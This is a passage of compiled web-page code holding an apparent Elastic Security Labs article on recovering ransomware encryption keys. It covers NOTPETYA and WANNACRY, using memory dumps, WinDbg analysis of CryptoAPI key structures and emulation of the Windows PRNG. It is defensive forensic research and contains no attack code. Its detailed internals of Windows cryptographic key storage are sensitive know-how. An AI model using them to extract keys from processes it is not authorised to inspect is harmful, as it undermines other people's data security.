NOTPETYA\"}),`\n`,(0,t.jsx)(e.p,{children:\"Why NOTPETYA? It was a good first candidate because it encrypts all files with one random session key. It also uses strong cryptography:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"RSA-1024 for the host-level asymmetric encryption key\"}),`\n`,(0,t.jsx)(e.li,{children:\"A unique AES-128 CBC key used for encrypting the files\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using the driver and agent crafted above, we could easily have NOTPETYA (SHA1 \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745\"})}),\") run in a contained environment and get a process minidump at a very predictable runtime location.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Our current design causes the driver to capture the writes synchronously, so we know exactly where we are in the process runtime when analyzing dump files. However, we still needed some reverse engineering to learn exactly how the session keys were generated.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Reversing this NOTPETYA DLL proved to be straightforward, which helped us move quickly:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"After some initial checks, the DLL attempts to iterate through all the possible drive letters, and for each match (i.e., the letter - such as \",(0,t.jsx)(e.code,{children:\"C:\\\\\"}),\" exists) a \",(0,t.jsx)(e.code,{children:\"0x20\"}),\" thread context will be created to proceed with the encryption\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image4.png\",alt:\"Reversing NOTPETYA encryption steps\",width:\"1440\",height:\"526\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Each thread initializes its own cryptographic context using the Microsoft CryptoAPI; we note the use of AES-CBC 128 bits\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image14.png\",alt:\"Confirming NOTPETYA\\u2019s use of AES 128 CBC\",width:\"830\",height:\"413\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Encrypts the files recursively (with a maximum recursion level of 15), dropping the ransom message and destroying the cryptographic context\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image10.png\",alt:\"NOTPETYA recursive cryptographic context mechanism\",width:\"802\",height:\"190\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The file encryption itself is performed using file-backed mappings to overwrite files of specifically targeted extensions:\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image20.png\",alt:\"NOTPETYA file encryption using key from the global context\",width:\"1159\",height:\"274\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This leaves us with a very basic stack-based structure for the context:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`c\nstruct _THREAD_CONTEXT { /* sizeof=0x20, align=0x4, mappedto_50) */\n /* 00000000 */ WORD lpswzRootPathName[4];\n /* 00000008 */ HANDLE hProvider;\n /* 0000000C */ PVOID field_C;\n /* 00000010 */ LPVOID pBase64Data;\n /* 00000014 */ HCRYPTPROV hKey;\n /* 00000018 */ DWORD field_18;\n /* 0000001C */ HANDLE hFile;\n};\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Equipped with that knowledge, we could explore further in the dump. Since we know write accesses were made using \",(0,t.jsx)(e.code,{children:\"kernel32!CreateFileMapping\"}),\", this means \",(0,t.jsx)(e.code,{children:\"ntdll!NtCreateSection\"}),\" is called, and we can isolate the active thread that triggered the syscall to the canary file:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`dx @$curprocess.Threads.Where( t =\u003e t.Stack.Frames.First().ToDisplayString().Contains(\"NtCreateSection\") )\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image7.png\",alt:\"Retrieving the active thread in the memory dump\",width:\"1209\",height:\"494\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As explained previously, we\\u2019ve isolated the context session and know it\\u2019s located in the stack. From the base pointer to the session context, we can retrieve the cryptographic context from the context structure member \",(0,t.jsx)(e.code,{children:\"_THREAD_CONTEXT.hKey\"}),\" located at offset 0x14.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`0:007:x86\u003e dx @$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10\n@$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10 : 0x518d210\n0:007:x86\u003e dps poi(0x518d210) l6\n004859a0 003a0043\n004859a4 0000005c\n004859a8 00538418\n004859ac 00000000\n004859b0 04060550 \n004859b4 0048fc48 \u003c\u003c\u003c hKey\n0:007:x86\u003e dps 0048fc48 \n0048fc48 74a850c0 rsaenh!CPGenKey\n0048fc4c 74a9ad90 rsaenh!CPDeriveKey\n0048fc50 74a886c0 rsaenh!CPDestroyKey\n0048fc54 74a9c770 rsaenh!CPSetKeyParam\n0048fc58 74a898c0 rsaenh!CPGetKeyParam\n0048fc5c 74a84c40 rsaenh!CPExportKey\n0048fc60 74a86290 rsaenh!CPImportKey\n0048fc64 74a99880 rsaenh!CPEncrypt\n0048fc68 74a8a500 rsaenh!CPDecrypt\n0048fc6c 74a9b5c0 rsaenh!CPDuplicateKey\n0048fc70 00538418 \n0048fc74 e3155764 \u003c\u003c\u003c hCryptKey\n0048fc78 22222222\n[...]\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The crypto context structures are not made publicly accessible by Microsoft but have been \",(0,t.jsx)(e.a,{href:\"https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data\u0026s=b0a1fb3f896437fc13727105e44628d6\u0026p=2234957#post2234957\",rel:\"nofollow\",children:\"reverse-engineered\"})]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`struct HCRYPTKEY\n{\n void* CPGenKey;\n void* CPDeriveKey;\n void* CPDestroyKey;\n void* CPSetKeyParam;\n void* CPGetKeyParam;\n void* CPExportKey;\n void* CPImportKey;\n void* CPEncrypt;\n void* CPDecrypt;\n void* CPDuplicateKey;\n HCRYPTPROV hCryptProv;\n magic_s *magic; // XOR-ed\n};\nstruct magic_s\n{\n key_data_s *key_data;\n};\n\nstruct key_data_s\n{\n void *unknown; // XOR-ed pointer\n uint32_t alg;\n uint32_t flags;\n uint32_t key_size;\n void* key_bytes;\n};\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"From this context, we can extract and decode the location of the AES structure, as the key is known to be \",(0,t.jsx)(e.a,{href:\"https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data\u0026s=b0a1fb3f896437fc13727105e44628d6\u0026p=2234957#post2234957\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"0xE35A172C\"})}),\" for 32-bit processes:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`0:007:x86\u003e ? e3155764^ 0xE35A172C\nEvaluate expression: 5193800 = 004f4048\n\n0:007:x86\u003e dps poi(004f4048 ) l5\n0053cdd0 e3152844 // /* +0 */ unknown\n0053cdd4 0000660e // /* +4 */ alg\n0053cdd8 00000001 // /* +8 */ flags\n0053cddc 00000010 // /* +c */ key_size\n0053cde0 0053ce70 // /* +10 */ key_bytes\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"From the dump, we also know the type (AES-CBC), location in memory (\",(0,t.jsx)(e.code,{children:\"0x053ce70\"}),\"), and size (\",(0,t.jsx)(e.code,{children:\"0x10\"}),\") of the key. The session key can be successfully retrieved!\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image1.png\",alt:\"NOTPETYA file encryption key, extracted from the session context in the memory dump\",width:\"750\",height:\"41\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Not only does this allow complete decryption of all encrypted files for this process, but the astute observer would have noticed that all \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/8a142ad8b20de048a0edb2ec6fde2660\",rel:\"nofollow\",children:\"those steps can be automated\"}),\", allowing us to create decryptors using just the generated memory dump!\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image18.png\",alt:\"Automatically extracting session key\",width:\"1273\",height:\"151\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"To see this process fully, you can watch the \",(0,t.jsx)(e.a,{href:\"https://youtu.be/UCZFAV9EveQ\",rel:\"nofollow\",children:\"demo\"}),\" and check out the \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-notpetya_extract_key_from_dump-py\",rel:\"nofollow\",children:\"code\"}),\" on GitHub.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We can even create scripts for decryption that would apply to all machines infected with the same variant. Even though WinDbg is the tool of choice, all those steps can be completely automated, making this approach very scalable.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"predicting-encryption-keys-from-the-process-runtime-the-case-of-wannacry\",children:\"Predicting encryption keys from the process runtime: the case of WANNACRY\"}),`\n`,(0,t.jsx)(e.p,{children:\"WANNACRY is another ransomware family we felt qualified for this experiment, as it is well-known and \\u2013 most importantly for this research \\u2013 used a more complex logic for file encryption:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image8.png\",alt:\"A description of WANNACRY\\u2019s encryption from Akbanov et al. (JTIT 2019)\",width:\"631\",height:\"191\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"deep-dive-into-windows-pseudo-random-number-generation\",children:\"Deep dive into Windows (Pseudo-)random Number generation\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To encrypt files, WANNACRY uses Windows' encryption library and generates one random AES key per file by means of the high-level API function \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"advapi32!CryptGenRandom\"})}),\". Each key is associated with the corresponding file, then RSA-encrypted and submitted to its C2. By design, the approach we used against NOTPETYA will not work here. WANNACRY offered us a different challenge, once again demonstrating that having a complete memory dump provides other invaluable resources.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Random number generation is often less random than most people think. Generating a truly random number is both challenging and expensive, and this challenge is at the heart of any cryptographic algorithm.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Windows (not unlike other OS) generates \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Pseudorandom_number_generator\",rel:\"nofollow\",children:\"random numbers in a pseudo-random way\"}),\". This means the random number generator derives an initial state (called a seed) with a cryptographic function (for instance, XorShift or Mersenne-Twister). One of the logical consequences of using PRNG is that knowing the state of the random generator at a moment T allows us to know precisely all random values at T+1, T+2, etc. Note that this is not a weakness as randomness is a highly complex and performance-costly operation; this approach is a great trade-off.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We will be taking advantage of this property to defeat WANNACRY. Knowing that WANNACRY repeatedly will call CryptGenRandom to generate the AES encryption for each file, if we have a way to know those values strictly through emulation of the minidump file, then we will also know the possible AES keys. This looks promising but may conceal several roadblocks.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Taking a step back, what is CryptGenRandom in the first place \\u2013 what does it do? The \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom\",rel:\"nofollow\",children:\"MSDN\"}),\" informs us that this (deprecated) function fills up a buffer with random content using a \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/desktop/SecGloss/c-gly\",rel:\"nofollow\",children:\"Cryptographic Service Provider\"}),\"(HCRYPTPROV). Setting a breakpoint to CryptGenRandom allows us to look under the hood with WinDbg on a Windows 11 x64. We can then easily traverse the high-level APIs and observe that \",(0,t.jsx)(e.code,{children:\"advapi32!CryptGenRandom\"}),\" is a wrapper to \",(0,t.jsx)(e.code,{children:\"cryptsp!CryptGenRandom\"}),\", which in turn leads us to the \",(0,t.jsx)(e.code,{children:\"CPGenRandom\"}),\" function in \",(0,t.jsx)(e.code,{children:\"rsaenh.dll\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`0:000\u003e g\nBreakpoint 9 hit\nCRYPTSP!CryptGenRandom+0x29:\n00007ffc\\`990c1699 488b8be0000000 mov rcx,qword ptr [rbx+0E0h] ds:000001e1\\`38ade010=e35a16cde1cff7d0\n0:000\u003e dps @rbx\n000001e1\\`38addf30 00007ffc\\`987956d0 rsaenh!CPAcquireContext\n000001e1\\`38addf38 00007ffc\\`987951e0 rsaenh!CPReleaseContext\n000001e1\\`38addf40 00007ffc\\`98791140 rsaenh!CPGenKey\n000001e1\\`38addf48 00007ffc\\`987a8f80 rsaenh!CPDeriveKey\n000001e1\\`38addf50 00007ffc\\`987948a0 rsaenh!CPDestroyKey\n000001e1\\`38addf58 00007ffc\\`987aaac0 rsaenh!CPSetKeyParam\n[...]\n\n0:000\u003e t\nCRYPTSP!CryptGenRandom+0x3c:\n00007ffc\\`990c16ac ff1506c50000 call qword ptr [CRYPTSP!_guard_dispatch_icall_fptr (00007ffc\\`990cdbb8)] ds:00007ffc\\`990cdbb8={CRYPTSP!guard_dispatch_icall_nop (00007ffc\\`990c4d30)}\n\n0:000\u003e r rax, rcx,rdx ,r8\nrax=00007ffc987954d0 rcx=e35a16cde1cff7d0 rdx=0000000000000010 r8=00000065859bfe70\n\n0:000\u003e .printf \"%y\\\\n\", @rax\nrsaenh!CPGenRandom (00007ffc\\`987954d0)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"When \",(0,t.jsx)(e.code,{children:\"CRYPTSP!CryptGenRandom\"}),\" is invoked, the RCX register holds the pointer to the encoded crypto provider, which is XOR encoded with the magic constant \",(0,t.jsx)(e.code,{children:\"0xE35A172CD96214A0\"}),\" (Remember the \",(0,t.jsx)(e.code,{children:\"0xE35A172C\"}),\" magic constant we used earlier? This is its 64-bit version counterpart). Looking at \",(0,t.jsx)(e.code,{children:\"rsaenh!CPGenRandom\"}),\" in IDA made clear the cryptographic provider handle serves only as a check to determine the correct validity of the context passed to the function but has no real implication about the randomness generation.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image17.png\",alt:\"Reversing rsaenh.dll to understand the random number generation\",width:\"1178\",height:\"532\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The entire randomness generation logic is deported to the function \",(0,t.jsx)(e.code,{children:\"cryptbase!SystemFunction036\"}),\", which simply takes two arguments: the buffer to receive the random data and its length. This was great news because random number generation had no external factor an attacker could use at runtime to make the generation more complex. Going farther into the rabbit hole, we realized that \",(0,t.jsx)(e.code,{children:\"cryptbase!SystemFunction036\"}),\" itself is nothing more than a light wrapper for \",(0,t.jsx)(e.code,{children:\"bcryptprimitives!ProcessPrng\"}),\", which \\u2013 by the name of the function \\u2013 seems to match our expectations.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"bcryptprimitives\"}),\" DLL is part of the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/seccng/cng-portal\",rel:\"nofollow\",children:\"Cryptographic Next Generation API\"}),\" (CNG) and is quite complex. Fully reversing would be out-of-scope for this research, so we only focused on the parts we're interested in. First, we observed that once loaded in the process, the library initializes the process seed - either from the \",(0,t.jsx)(e.a,{href:\"https://www.felixcloutier.com/x86/rdrand\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"rdrand\"})}),\" instruction or from a VTL1 call to the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"IumKernelState\"})}),\" trustlet in the explicitly named \",(0,t.jsx)(e.code,{children:\"InitUmRootRngState\"}),\" function. Then, it populates a random number generator state table and updates the RNG seed version state in the \",(0,t.jsx)(e.code,{children:\"ntdll!_KUSER_SHARED_DATA::RNGSeedVersion\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image9.png\",alt:\"Validating the cryptographic seed initialization from WinDbg\",width:\"1031\",height:\"364\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"When \",(0,t.jsx)(e.code,{children:\"ProcessPrng\"}),\" is invoked, the generation of the next pseudo-random number is determined by a CPU-specific state. To be precise, the processor number on which the current thread is running is used as an index to load and generate the next number. We\\u2019ll explain more later, but this will be challenging in the future. Using this state information, the next number is produced by invoking \",(0,t.jsx)(e.code,{children:\"AesRNGState_generate\"}),\", storing the result inside the buffer given in an argument.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image6.png\",alt:\"Next random buffer generation in cryptbase.dll\",width:\"925\",height:\"506\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This is a non-negligible issue for what we\\u2019re trying to accomplish. On multiprocessor-aware Windows (which all modern PCs are), it is hard to consistently know the processor number the thread is running on, making generation prediction impossible. However, Windows provides ways to affect the scheduler, as shown below.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image13.png\",alt:\"Retrieving current CPU number to determine the PNRG state table entry to use\",width:\"748\",height:\"189\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"pseudo-random-number-prediction-through-user-mode-emulation-of-the-memory-dump\",children:\"Pseudo-Random number prediction through user-mode emulation of the memory dump\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Keeping in sight that to defeat WANNACRY, we need to be able to execute the function \",(0,t.jsx)(e.code,{children:\"cryptbase!SystemFunction036\"}),\" directly from the memory dump. We can make this with an emulator (like QEMU or Bochs) by mapping the execution context (populating the memory layout, restoring the TEB/PEB etc.) gathered from the memory dump of the ransomware, which we did following these steps:\"]}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Parse the user-mode dump to \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L272-L287\",rel:\"nofollow\",children:\"extract and map all the memory layout\"}),\"; for this step, we used the Python bindings of the \",(0,t.jsx)(e.a,{href:\"https://github.com/0vercl0k/udmp-parser\",rel:\"nofollow\",children:\"udmp-parser\"}),\" library\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Fully \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L291-L322\",rel:\"nofollow\",children:\"reconstruct a working memory layout in an emulator\"}),\", for which \",(0,t.jsx)(e.a,{href:\"https://github.com/yrp604/bochscpu\",rel:\"nofollow\",children:\"bochscpu\"}),\" along with its \",(0,t.jsx)(e.a,{href:\"https://github.com/hugsy/bochscpu-python\",rel:\"nofollow\",children:\"Python bindings\"}),\" were used\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L354-L370\",rel:\"nofollow\",children:\"Rebuild a valid thread context\"}),\" by finding the function \",(0,t.jsx)(e.code,{children:\"cryptbase!SystemFunction036\"}),\" and emulating the runtime\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"However, we still lack the ability to predict on which CPU the thread invoking \",(0,t.jsx)(e.code,{children:\"cryptbase!SystemFunction036\"}),\" will be running on, therefore, cannot accurately predict the following values returned by the function. On a single-core machine, this is not a problem as our PRNG state table will only hold one entry, and this approach was tested to work perfectly out-of-the-box. However, it fails on multi-core systems, as only the first call to \",(0,t.jsx)(e.code,{children:\"cryptbase!SystemFunction036\"}),\" would return the correct random values.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image15.png\",alt:\"Execution of cryptbase!SystemFunction036 on single core VM: different outputs\",width:\"1440\",height:\"894\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"To have accurate emulation on multi-core machines, we need to know the processor number on which the next thread calling \",(0,t.jsx)(e.code,{children:\"cryptbase!SystemFunction036\"}),\" will be called at runtime is fairly impossible. Two possible approaches were tested:\"]}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"From the dump, we have knowledge of the entire PRNG state table. Because of this, we can make the emulation script hook the function \",(0,t.jsx)(e.code,{children:\"ntdll!RtlGetCurrentProcessorNumberEx\"}),\" and use it to determine the index in the random table, then have it generate all the values for a specific core. This approach proved successful but extremely tedious, especially at scale as automation would generate exponential possibilities to retrieve the correctly generated sequence.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Another option happens during the canary detection itself. Once the canary confirms it is ransomware, we can enforce the culprit process CPU affinity to only one CPU, whose index we can choose freely. This can be done from kernel or user mode as long as the targeted process is opened with the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setprocessaffinitymask\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"PROCESS_SET_INFORMATION\"})}),\" access right. This processor index will determine the entry taken in the \",(0,t.jsx)(e.code,{children:\"AesStateTable\"}),\" array, and doing so allows us to reliably predict all future values of the PNRG via emulation.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image3.png\",alt:\"EExecution of cryptbase!SystemFunction036 on multi-core VM with forced affinity: same output\",width:\"1440\",height:\"893\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"To see the WANNACRY process in full, you can watch the \",(0,t.jsx)(e.a,{href:\"https://youtu.be/uXqI0ZSqZhI\",rel:\"nofollow\",children:\"demo\"}),\". We also have the \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27\",rel:\"nofollow\",children:\"code\"}),\" available for review on GitHub.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Testing both techniques showed that it is possible to predict the future value of the PRNG with the minidump at our disposal. This would be immensely helpful against ransomware like WANNACRY, which uses Windows PRNG to generate unique AES keys for each encrypted file.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"incorporating-this-research-into-the-elastic-endpoint\",children:\"Incorporating this research into the Elastic Endpoint\"}),`\n`,(0,t.jsx)(e.p,{children:\"ON Week at Elastic is a place for experimenting without constraints and often leads to great improvements for the existing Elastic solutions.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Process snapshot generation was added to Elastic Security in version \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/whats-new-elastic-security-8-11-0\",rel:\"nofollow\",children:\"8.11\"}),\". With protection enabled, should ransomware be detected, the endpoint will generate a complete memory process dump before resuming execution, likely leading to the ransomware process termination. We hope this simple addition can assist DFIR teams further by providing better insight into what the ransomware was attempting.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Recent news has shown that process memory dumps can leak a \",(0,t.jsx)(e.a,{href:\"https://www.msn.com/en-us/news/technology/microsoft-china-stole-secret-key-that-unlocked-us-govt-email-from-crash-debug-dump/ar-AA1glLPJ\",rel:\"nofollow\",children:\"great amount of valuable private information\"}),\" if made available publicly. Therefore, it must be stressed that no memory dump is ever submitted to Elastic, even with the feature enabled. The dump file is generated (and compressed) by the endpoint locally, and the resulting file is stored within Elastic\\u2019s secure installation folder (by default, \",(0,t.jsx)(e.code,{children:\"$ElasticInstallPath\\\\Endpoint\\\\cache\\\\RansomwareDumps\"}),\"). This way, the dump files cannot be easily tampered with by attackers but are easily accessible to forensics and incident response teams to assist them in the recovery process.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Let\\u2019s demonstrate this feature in action on a fresh Elastic 8.11 against NOTPETYA: \",(0,t.jsx)(e.a,{href:\"https://youtu.be/d16yKWUf3dI\",rel:\"nofollow\",children:\"watch the demo\"})]}),`\n`,(0,t.jsx)(e.h2,{id:\"closing-remarks\",children:\"Closing remarks\"}),`\n`,(0,t.jsx)(e.p,{children:\"This concluded our ON Week research with quite a positive outcome. Did we come up with a bulletproof solution against all ransomware? No, and such a thing likely won\\u2019t ever exist. As we\\u2019ve underlined in the introduction, ransomware exists in so many types and varieties that it probably seems impossible to have one solution for all.\"}),`\n`,(0,t.jsx)(e.p,{children:\"What this research found, however, was that this approach offers a great trade-off between FP risk, system requirements, and potential outcome. There is very little risk of snapshotting the process memory should it be flagged as ransomware by the canary feature. In the case of a false positive, the computer would simply end up with a dump file in a protected location (and ZIP compression would drastically reduce the footprint on disk).\"}),`\n`,(0,t.jsx)(e.p,{children:\"While this is not the perfect ransomware solution, offering a memory dump of the ransomware can boost forensic work and potentially allow teams to recover or even predict session encryption keys. Complete memory dumps can be an amazing ally in debugging and forensics because they provide an exhaustive view of how things happen at runtime. And thanks to emulation, we can confidently retrace some of the steps that lead to a compromise and hopefully fix it.\"})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var x=k;return b(C);})();\n;return Component;"},"_id":"articles/ransomware-in-the-honeypot-how-we-capture-keys.mdx","_raw":{"sourceFilePath":"articles/ransomware-in-the-honeypot-how-we-capture-keys.mdx","sourceFileName":"ransomware-in-the-honeypot-how-we-capture-keys.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/ransomware-in-the-honeypot-how-we-capture-keys"},"type":"Article","imageUrl":"/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/photo-edited-07.png","readingTime":"22 min read","series":"","url":"/ransomware-in-the-honeypot-how-we-capture-keys","headings":[{"level":2,"title":"TL;DR","href":"#tldr"},{"level":2,"title":"Introduction","href":"#introduction"},{"level":3,"title":"Current state of protection","href":"#current-state-of-protection"},{"level":3,"title":"How ransomware (usually) works, and why it matters","href":"#how-ransomware-usually-works-and-why-it-matters"},{"level":3,"title":"Understanding the Canary files feature in Elastic Endpoint ","href":"#understanding-the-canary-files-feature-in-elastic-endpoint-"},{"level":2,"title":"Extending our canary protection to generate process snapshots","href":"#extending-our-canary-protection-to-generate-process-snapshots"},{"level":3,"title":"The basic underlying concept","href":"#the-basic-underlying-concept"},{"level":3,"title":"Implementation","href":"#implementation"},{"level":4,"title":"In kernel land","href":"#in-kernel-land"},{"level":3,"title":"In user land","href":"#in-user-land"},{"level":3,"title":"Real-life examples","href":"#real-life-examples"},{"level":4,"title":"Recovering keys from process runtime: the case of NOTPETYA","href":"#recovering-keys-from-process-runtime-the-case-of-notpetya"},{"level":3,"title":"Predicting encryption keys from the process runtime: the case of WANNACRY","href":"#predicting-encryption-keys-from-the-process-runtime-the-case-of-wannacry"},{"level":4,"title":"Deep dive into Windows (Pseudo-)random Number generation","href":"#deep-dive-into-windows-pseudo-random-number-generation"},{"level":4,"title":"Pseudo-Random number prediction through user-mode emulation of the memory dump","href":"#pseudo-random-number-prediction-through-user-mode-emulation-of-the-memory-dump"},{"level":2,"title":"Incorporating this research into the Elastic Endpoint","href":"#incorporating-this-research-into-the-elastic-endpoint"},{"level":2,"title":"Closing remarks","href":"#closing-remarks"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function 